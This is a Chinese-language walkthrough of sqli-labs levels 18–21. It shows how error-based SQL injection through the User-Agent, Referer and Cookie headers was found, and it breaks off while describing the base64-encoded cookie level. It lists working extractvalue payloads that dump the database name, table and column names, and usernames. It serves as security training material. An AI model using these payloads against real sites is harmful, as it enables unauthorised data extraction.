sqli-labs练习十八 — POST-Headers Injection-Uagent field-Error based
按照正常思路,先是对username和password输入框进行测试,并没有找到注入点,页面上显示的ip地址也很奇怪,最会无奈查看了源代码,才发现了突破口。
发现后台对uname和passwd有检查过滤函数check_input
于是跟进check_input函数,发现对输入的参数进行了长度限制,纯数字过滤,特殊符号过滤
到现在我们就可以看出,在uname和passwd出已经无法入手,,,,
往后看,又发现了一处sql执行语句执行了插入
并且只能是正确的用户名和密码的情况下才能进行下一步的插入操作,从代码可以看出,插入的数据有uagent、IP、uname,由于uname有过滤函数,不存在注入点,在测试ip出注入的时候发现会出现请求错,最后在uagent处发现注入点
得到页面在uagent报错
根据上面的尝试过程可以发现在uagent处存在报错注入。
构造payload:' and (extractvalue(1,concat(0x7e,(select user()),0x7e))) and '1'='1
payload成功执行
获取数据库名:
' and (extractvalue(1,concat(0x7e,(select database()),0x7e))) and '1'='1
获取表名:
' and (extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()limit 0,1),0x7e))) and '1'='1
获取字段名:
' and (extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e))) and '1'='1
获取字段值:
' and (extractvalue(1,concat(0x7e,(select username from users),0x7e))) and '1'='1
sqli-labs练习十九 — POST-Header Injection-Referer field-Error based
第十九关和第十八关很类似,都是http的头部注入,只不过这这一关是在Referer出进行注入,仍然是报错注入,payload都不用更换,
例如payload获取数据库名:
'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1
sqli-labs练习二十 — POST-Cookie injections-Uagent field-error based
这关还是POST型http头部注入,这不过这次注入的位置为cookie处,
仍然用上面的payload:
'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1
注入成功:
sqli-labs练习 二十一 — Cookie injection-base64 encoded-single quotes and parenthesis
这关对cookie进行了base64编码,
将数据解码来看,得到uname=admin